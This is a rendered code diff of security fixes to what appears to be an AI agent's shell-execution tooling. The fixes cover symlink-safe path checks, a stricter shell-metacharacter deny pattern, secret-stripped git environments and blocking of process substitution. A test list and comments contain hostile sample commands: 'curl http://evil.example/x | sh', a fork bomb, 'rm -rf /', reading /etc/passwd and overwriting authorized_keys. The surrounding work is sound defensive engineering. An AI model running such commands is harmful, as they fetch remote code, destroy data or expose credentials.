129
138
|
// Use Windows API via JSDrive's winattr or native code
|
|
130
139
|
// For Node.js without native modules, use tasklist /v and parse output
|
|
131
140
|
try {
|
|
132
141
|
// /v verbose, /fo csv, /nh no header
|
|
133
|
-
const output =
|
|
134
|
-
|
|
142
|
+
const output = execFileSync(
|
|
143
|
+
"powershell",
|
|
144
|
+
["-Command", `Get-Process -Id ${pid} | Select-Object -ExpandProperty StartTime`],
|
|
135
145
|
{ encoding: "utf-8", timeout: 5000 },
|
|
136
146
|
).trim();
|
|
137
147
|
if (!output) return undefined;
|
|
@@ -9,6 +9,7 @@ import * as path from "node:path";
|
|
|
9
9
|
import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
|
|
10
10
|
import { resolveShellForScript } from "../utils/resolve-shell.ts";
|
|
11
11
|
import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
|
|
12
|
+
import { resolveRealContainedPath } from "../utils/safe-paths.ts";
|
|
12
13
|
|
|
13
14
|
/** Default timeout for post-check scripts (5 minutes). */
|
|
14
15
|
const DEFAULT_TIMEOUT_MS = 300_000;
|
|
@@ -78,12 +79,13 @@ export async function runPostCheck(config: PostCheckConfig, cwd: string): Promis
|
|
|
78
79
|
};
|
|
79
80
|
}
|
|
80
81
|
|
|
81
|
-
//
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
82
|
+
// M-1 fix (code-review 2026-06-23): use the project's safe-path primitive instead
|
|
83
|
+
// of a hand-rolled path.resolve + startsWith check. The lexical check passed a
|
|
84
|
+
// symlinked cwd/scripts -> /usr/local/bin, but execFileSync followed the symlink
|
|
85
|
+
// and executed a script outside the working directory. resolveRealContainedPath
|
|
86
|
+
// walks ancestors with O_NOFOLLOW and re-validates after realpath, defeating
|
|
87
|
+
// symlink-traversal attacks. Throws if the resolved path escapes cwd.
|
|
88
|
+
resolveRealContainedPath(cwd, scriptPath);
|
|
87
89
|
|
|
88
90
|
const startTime = Date.now();
|
|
89
91
|
|
|
@@ -11,6 +11,7 @@ import type {
|
|
|
11
11
|
VerificationEvidence,
|
|
12
12
|
} from "../state/types.ts";
|
|
13
13
|
import { logInternalError } from "../utils/internal-error.ts";
|
|
14
|
+
import { resolveRealContainedPath } from "../utils/safe-paths.ts";
|
|
14
15
|
import { errors } from "../errors.ts";
|
|
15
16
|
import { writeArtifact } from "../state/artifact-store.ts";
|
|
16
17
|
import { appendEventAsync, appendEventFireAndForget } from "../state/event-log.ts";
|
|
@@ -282,11 +283,11 @@ export async function runTeamTask(
|
|
|
282
283
|
if (input.step.preStepScript) {
|
|
283
284
|
const scriptTimeout = input.step.preStepTimeout ?? 30_000;
|
|
284
285
|
const scriptArgs = input.step.preStepArgs ?? [];
|
|
285
|
-
// SECURITY
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
286
|
+
// SECURITY (M-1 fix, code-review 2026-06-23): use the project's safe-path
|
|
287
|
+
// primitive instead of a hand-rolled path.resolve + startsWith check.
|
|
288
|
+
// The lexical check passed a symlinked ancestor, letting execFileSync
|
|
289
|
+
// follow it and execute a script outside cwd. Throws on escape.
|
|
290
|
+
resolveRealContainedPath(manifest.cwd, input.step.preStepScript);
|
|
290
291
|
try {
|
|
291
292
|
const { execFileSync } = await import("node:child_process");
|
|
292
293
|
preStepOutput = execFileSync(input.step.preStepScript, scriptArgs, {
|
|
@@ -130,9 +130,13 @@ export const CARGO_RUST_GATES: Array<{ name: string; command: string; critical:
|
|
|
130
130
|
// secrets into captured gate output, e.g. `echo $ANTHROPIC_API_KEY`).
|
|
131
131
|
// $+word-char is blocked; special vars like $?/$$/$! are left alone. Built-in
|
|
132
132
|
// gates use only `2>&1` (no $VAR), so this does not break them.
|
|
133
|
-
|
|
134
|
-
//
|
|
135
|
-
//
|
|
133
|
+
// M-3/M-4 fix (code-review 2026-06-23): the old pattern used `>>` (append) and
|
|
134
|
+
// `<[^^&]` (a confusing char class). It allowed bare `>` (file redirect, e.g.
|
|
135
|
+
// `npm test > ~/.ssh/authorized_keys`) and used char-class semantics instead of
|
|
136
|
+
// a lookahead. Now `[<>](?![&\d])` blocks BOTH `<` and `>` file redirects while
|
|
137
|
+
// still permitting fd-duplication forms (`2>&1`, `1>&2`, `>&2`, `<&3`) via the
|
|
138
|
+
// negative lookahead (a `>`/`<` followed by `&` or a digit is allowed).
|
|
139
|
+
const DANGEROUS_SHELL_PATTERNS = /(?:;|&&|\|\||\$\(|`|\$\{|\$\w|\b(eval|exec)\b|[<>](?![&\d])|[\r\n])/;
|
|
136
140
|
|
|
137
141
|
/**
|
|
138
142
|
* Validate a verification gate command is safe to execute.
|
|
@@ -195,7 +199,23 @@ async function executeCommand(
|
|
|
195
199
|
output += data.toString();
|
|
196
200
|
});
|
|
197
201
|
|
|
202
|
+
// M-9 fix (code-review 2026-06-23): store the timeout handle so it can be
|
|
203
|
+
// cleared when the process exits normally, and unref it so it does not
|
|
204
|
+
// keep the Node.js event loop alive for the full timeoutMs after all work
|
|
205
|
+
// is done (previously it fired shell.kill() on an already-dead process).
|
|
206
|
+
const timer = setTimeout(() => {
|
|
207
|
+
shell.kill("SIGKILL");
|
|
208
|
+
resolve({
|
|
209
|
+
exitCode: -1,
|
|
210
|
+
output: output + "\n[TIMEOUT: Command exceeded limit]",
|
|
211
|
+
durationMs: Date.now() - start,
|
|
212
|
+
});
|
|
213
|
+
}, timeoutMs);
|
|
214
|
+
timer.unref();
|
|
215
|
+
const clearTimer = (): void => clearTimeout(timer);
|
|
216
|
+
|
|
198
217
|
shell.on("close", (code) => {
|
|
218
|
+
clearTimer();
|
|
199
219
|
exitCode = code;
|
|
200
220
|
resolve({
|
|
201
221
|
exitCode,
|
|
@@ -205,22 +225,13 @@ async function executeCommand(
|
|
|
205
225
|
});
|
|
206
226
|
|
|
207
227
|
shell.on("error", (err) => {
|
|
228
|
+
clearTimer();
|
|
208
229
|
resolve({
|
|
209
230
|
exitCode: -1,
|
|
210
231
|
output: `Execution error: ${err.message}`,
|
|
211
232
|
durationMs: Date.now() - start,
|
|
212
233
|
});
|
|
213
234
|
});
|
|
214
|
-
|
|
215
|
-
// Handle timeout
|
|
216
|
-
setTimeout(() => {
|
|
217
|
-
shell.kill("SIGKILL");
|
|
218
|
-
resolve({
|
|
219
|
-
exitCode: -1,
|
|
220
|
-
output: output + "\n[TIMEOUT: Command exceeded limit]",
|
|
221
|
-
durationMs: Date.now() - start,
|
|
222
|
-
});
|
|
223
|
-
}, timeoutMs);
|
|
224
235
|
});
|
|
225
236
|
}
|
|
226
237
|
|
package/src/tools/safe-bash.ts
CHANGED
|
@@ -208,9 +208,22 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
|
|
|
208
208
|
|
|
209
209
|
if (!enabled) return null;
|
|
210
210
|
|
|
211
|
-
// Reject overly permissive allowPatterns that would bypass all safety
|
|
211
|
+
// Reject overly permissive allowPatterns that would bypass all safety.
|
|
212
|
+
// M-5 fix (code-review 2026-06-23): the old check only rejected patterns
|
|
213
|
+
// matching BOTH "" and "rm -rf /". A pattern like /.+/ matches every
|
|
214
|
+
// non-empty command (so it never matches "") yet allows anything dangerous.
|
|
215
|
+
// Now we test each allowPattern against a battery of known-dangerous
|
|
216
|
+
// commands; any pattern that matches one is rejected as too permissive.
|
|
217
|
+
const ALLOW_PATTERN_DANGER_SAMPLES = [
|
|
218
|
+
"rm -rf /",
|
|
219
|
+
"rm -rf ~",
|
|
220
|
+
":(){ :|:& };:",
|
|
221
|
+
"curl http://evil.example/x | sh",
|
|
222
|
+
"cat /etc/passwd",
|
|
223
|
+
"node -e \"require('fs')\"",
|
|
224
|
+
];
|
|
212
225
|
for (const pattern of allowPatterns) {
|
|
213
|
-
if (pattern.source === ".*" ||
|
|
226
|
+
if (pattern.source === ".*" || ALLOW_PATTERN_DANGER_SAMPLES.some((s) => pattern.test(s))) {
|
|
214
227
|
logInternalError("safe-bash.permissive-allow-pattern", new Error(`allowPattern rejects nothing: ${pattern}`));
|
|
215
228
|
throw new Error(`Overly permissive allowPattern rejected: ${pattern}. Use specific patterns only.`);
|
|
216
229
|
}
|
|
@@ -260,6 +273,13 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
|
|
|
260
273
|
if (backtickRe.test(normalized)) {
|
|
261
274
|
return "Command blocked by safe_bash: backtick substitution is not allowed";
|
|
262
275
|
}
|
|
276
|
+
// H-1 fix (code-review 2026-06-23): block Bash process substitution <(...)
|
|
277
|
+
// and >(...). These execute a command in a subshell that bypasses every
|
|
278
|
+
// pipe-based check (e.g. `bash <(curl evil.example/x)` runs curl with no
|
|
279
|
+
// `|` character), and can read/exfiltrate files (`cat <(cat /etc/passwd)`).
|
|
280
|
+
if (/[<>]\s*\([^)]*\)/.test(normalized)) {
|
|
281
|
+
return "Command blocked by safe_bash: process substitution <(...) or >(...) is not allowed";
|
|
282
|
+
}
|
|
263
283
|
// Block here-docs <<
|
|
264
284
|
if (/<<\s*['"]?[\w-]+['"]?/.test(normalized) || /\$<<\s*['"]?[\w-]+['"]?/.test(normalized)) {
|
|
265
285
|
return "Command blocked by safe_bash: here-doc is not allowed";
|
|
@@ -364,7 +384,10 @@ export const SAFE_BASH_PRESETS = {
|
|
|
364
384
|
additionalPatterns: [],
|
|
365
385
|
allowPatterns: [COMMON_SAFE_PATTERNS.safePackage],
|
|
366
386
|
},
|
|
367
|
-
/** Minimal - only block catastrophic commands
|
|
387
|
+
/** Minimal - only block catastrophic commands.
|
|
388
|
+
* NOTE (M-5 fix): safeRead was removed — `\b(cat|head|tail|…)\s` allows
|
|
389
|
+
* reading arbitrary files (cat /etc/passwd, cat ~/.ssh/id_rsa), so it is too
|
|
390
|
+
* permissive for an allowPattern and is rejected by the danger-sample battery. */
|
|
368
391
|
permissive: {
|
|
369
392
|
enabled: true,
|
|
370
393
|
additionalPatterns: [],
|
|
@@ -372,7 +395,6 @@ export const SAFE_BASH_PRESETS = {
|
|
|
372
395
|
COMMON_SAFE_PATTERNS.safeRm,
|
|
373
396
|
COMMON_SAFE_PATTERNS.safeGit,
|
|
374
397
|
COMMON_SAFE_PATTERNS.safePackage,
|
|
375
|
-
COMMON_SAFE_PATTERNS.safeRead,
|
|
376
398
|
],
|
|
377
399
|
},
|
|
378
400
|
/** No safety checks */
|
|
@@ -19,6 +19,10 @@ export class LiveConversationOverlay {
|
|
|
19
19
|
private frame = 0;
|
|
20
20
|
private pollTimer: ReturnType<typeof setInterval> | undefined;
|
|
21
21
|
cachedLines: string[] = [];
|
|
22
|
+
// H-4 fix (code-review 2026-06-23): cap the in-memory line buffer to avoid
|
|
23
|
+
// unbounded growth (OOM) during long-running live sessions. Oldest lines are
|
|
24
|
+
// dropped first; scrollOffset is adjusted to keep the viewport stable.
|
|
25
|
+
static readonly MAX_CACHED_LINES = 5000;
|
|
22
26
|
private columns: number;
|
|
23
27
|
private rows: number;
|
|
24
28
|
private unsubscribe: (() => void) | undefined;
|
|
@@ -45,7 +49,7 @@ export class LiveConversationOverlay {
|
|
|
45
49
|
const obj = event as Record<string, unknown>;
|
|
46
50
|
const text = typeof obj.text === "string" ? obj.text : typeof obj.content === "string" ? obj.content : "";
|
|
47
51
|
if (text.trim()) {
|
|
48
|
-
this.
|
|
52
|
+
this.pushLine(text);
|
|
49
53
|
if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
|
|
50
54
|
}
|
|
51
55
|
});
|
|
@@ -61,6 +65,15 @@ export class LiveConversationOverlay {
|
|
|
61
65
|
try { this.refreshSummary(); } catch { /* ignore */ }
|
|
62
66
|
}
|
|
63
67
|
|
|
68
|
+
private pushLine(line: string): void {
|
|
69
|
+
this.cachedLines.push(line);
|
|
70
|
+
if (this.cachedLines.length > LiveConversationOverlay.MAX_CACHED_LINES) {
|
|
71
|
+
const drop = this.cachedLines.length - LiveConversationOverlay.MAX_CACHED_LINES;
|
|
72
|
+
this.cachedLines.splice(0, drop);
|
|
73
|
+
this.scrollOffset = Math.max(0, this.scrollOffset - drop);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
|
64
77
|
private static readonly SUMMARY_PREFIX = "\u200B"; // zero-width space as summary sentinel
|
|
65
78
|
|
|
66
79
|
private safeElapsedMs(act: typeof this.handle.activity): number {
|
|
@@ -92,7 +105,7 @@ export class LiveConversationOverlay {
|
|
|
92
105
|
if (lastLine?.startsWith(LiveConversationOverlay.SUMMARY_PREFIX)) {
|
|
93
106
|
this.cachedLines[this.cachedLines.length - 1] = summary;
|
|
94
107
|
} else {
|
|
95
|
-
this.
|
|
108
|
+
this.pushLine(summary);
|
|
96
109
|
}
|
|
97
110
|
if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
|
|
98
111
|
}
|
|
@@ -103,6 +103,13 @@ export class LiveRunSidebar {
|
|
|
103
103
|
}
|
|
104
104
|
|
|
105
105
|
dispose(): void {
|
|
106
|
+
// M-10 fix (code-review 2026-06-23): clear the auto-close timer so a
|
|
107
|
+
// disposed sidebar (not closed via the normal path) doesn't fire this.done()
|
|
108
|
+
// on a disposed component.
|
|
109
|
+
if (this.autoCloseTimeout) {
|
|
110
|
+
clearTimeout(this.autoCloseTimeout);
|
|
111
|
+
this.autoCloseTimeout = undefined;
|
|
112
|
+
}
|
|
106
113
|
this.unsubscribeTheme();
|
|
107
114
|
this.unsubscribeEventBus();
|
|
108
115
|
}
|
|
@@ -6,6 +6,7 @@
|
|
|
6
6
|
import type { CrewTheme } from "./theme-adapter.ts";
|
|
7
7
|
import { DynamicCrewBorder } from "./dynamic-border.ts";
|
|
8
8
|
import { discoverPiThemes, getActivePiTheme } from "./theme-discovery.ts";
|
|
9
|
+
import { visibleWidth, truncateToWidth } from "../utils/visual.ts";
|
|
9
10
|
|
|
10
11
|
// ---------------------------------------------------------------------------
|
|
11
12
|
// Types
|
|
@@ -143,34 +144,7 @@ const EFFECTIVE_DEFAULTS: Record<string, unknown> = {
|
|
|
143
144
|
// Helpers
|
|
144
145
|
// ---------------------------------------------------------------------------
|
|
145
146
|
|
|
146
|
-
/** Visible character width (
|
|
147
|
-
function visibleWidth(text: string): number {
|
|
148
|
-
// eslint-disable-next-line no-control-regex
|
|
149
|
-
let w = 0;
|
|
150
|
-
let inEscape = false;
|
|
151
|
-
for (const ch of text) {
|
|
152
|
-
if (ch === "\x1b") { inEscape = true; continue; }
|
|
153
|
-
if (inEscape) { if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
|
|
154
|
-
w++;
|
|
155
|
-
}
|
|
156
|
-
return w;
|
|
157
|
-
}
|
|
158
|
-
|
|
159
|
-
/** Truncate string to fit within maxVis visible characters. */
|
|
160
|
-
function truncateToWidth(text: string, maxVis: number): string {
|
|
161
|
-
// eslint-disable-next-line no-control-regex
|
|
162
|
-
let w = 0;
|
|
163
|
-
let result = "";
|
|
164
|
-
let inEscape = false;
|
|
165
|
-
for (const ch of text) {
|
|
166
|
-
if (ch === "\x1b") { inEscape = true; result += ch; continue; }
|
|
167
|
-
if (inEscape) { result += ch; if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
|
|
168
|
-
w++;
|
|
169
|
-
if (w > maxVis) return result + "…";
|
|
170
|
-
result += ch;
|
|
171
|
-
}
|
|
172
|
-
return result;
|
|
173
|
-
}
|
|
147
|
+
/** Visible character width — delegated to the Unicode-aware shared util (M-11 fix). */
|
|
174
148
|
|
|
175
149
|
/** Pad string to exactly maxVis visible width. */
|
|
176
150
|
function padToWidth(text: string, maxVis: number, padChar = " "): string {
|
|
@@ -636,8 +636,8 @@ function shortenPath(p: string): string {
|
|
|
636
636
|
return p;
|
|
637
637
|
}
|
|
638
638
|
|
|
639
|
-
/** P8: Create clickable file hyperlink via OSC 8
|
|
640
|
-
|
|
641
|
-
|
|
642
|
-
|
|
643
|
-
|
|
639
|
+
/** P8: Create clickable file hyperlink via OSC 8.
|
|
640
|
+
* Removed (M-13 fix, code-review 2026-06-23): this function was dead code (no
|
|
641
|
+
* callers) and interpolated a path into an OSC-8 escape without sanitizing
|
|
642
|
+
* control chars (\x07 BEL / \x1b\\ ST), a potential terminal-injection sink.
|
|
643
|
+
* Re-add with sanitized input if a caller is introduced. */
|
|
@@ -12,6 +12,7 @@
|
|
|
12
12
|
import { mkdirSync, readFileSync, writeFileSync, existsSync, readdirSync, unlinkSync } from "node:fs";
|
|
13
13
|
import path from "node:path";
|
|
14
14
|
import { logInternalError } from "../utils/internal-error.ts";
|
|
15
|
+
import { isSafePathId } from "../utils/safe-paths.ts";
|
|
15
16
|
|
|
16
17
|
// ── Types ────────────────────────────────────────────────────────────────
|
|
17
18
|
|
|
@@ -88,6 +89,9 @@ export function readIntermediate(
|
|
|
88
89
|
phase: string,
|
|
89
90
|
stepId: string,
|
|
90
91
|
): IntermediateOutput | undefined {
|
|
92
|
+
// M-2 fix (code-review 2026-06-23): validate phase/stepId before building the
|
|
93
|
+
// filename to prevent path traversal via a poisoned stepId.
|
|
94
|
+
if (!isSafePathId(phase) || !isSafePathId(stepId)) return undefined;
|
|
91
95
|
const dir = config.intermediateDir ?? DEFAULT_CONFIG.intermediateDir;
|
|
92
96
|
const filename = `${phase}-${stepId}.json`;
|
|
93
97
|
const filePath = path.join(dir, filename);
|
|
@@ -1,4 +1,13 @@
|
|
|
1
1
|
import { execFileSync } from "node:child_process";
|
|
2
|
+
import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
|
|
3
|
+
import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
|
|
4
|
+
|
|
5
|
+
// Read-only git operations only (rev-list, rev-parse, log). Sanitize env to
|
|
6
|
+
// avoid leaking API keys/tokens to any git hook/alias/credential-helper.
|
|
7
|
+
// C-1 fix (code-review 2026-06-23): previously inherited the full parent env.
|
|
8
|
+
const GIT_SAFE_ENV = sanitizeEnvSecrets(process.env, {
|
|
9
|
+
allowList: ["PATH", "HOME", "USER", ...WINDOWS_ESSENTIAL_ENV_VARS, "SHELL", "TERM", "LANG", "LC_ALL", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "GIT_EXEC_PATH"],
|
|
10
|
+
});
|
|
2
11
|
|
|
3
12
|
export type BranchFreshnessStatus = "fresh" | "stale" | "diverged" | "unknown";
|
|
4
13
|
export type StaleBranchPolicy = "warn" | "block" | "auto_rebase" | "auto_merge_forward";
|
|
@@ -15,7 +24,7 @@ export interface BranchFreshness {
|
|
|
15
24
|
}
|
|
16
25
|
|
|
17
26
|
function git(cwd: string, args: string[]): string {
|
|
18
|
-
return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], windowsHide: true }).trim();
|
|
27
|
+
return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], env: GIT_SAFE_ENV, windowsHide: true }).trim();
|
|
19
28
|
}
|
|
20
29
|
|
|
21
30
|
function count(cwd: string, range: string): number {
|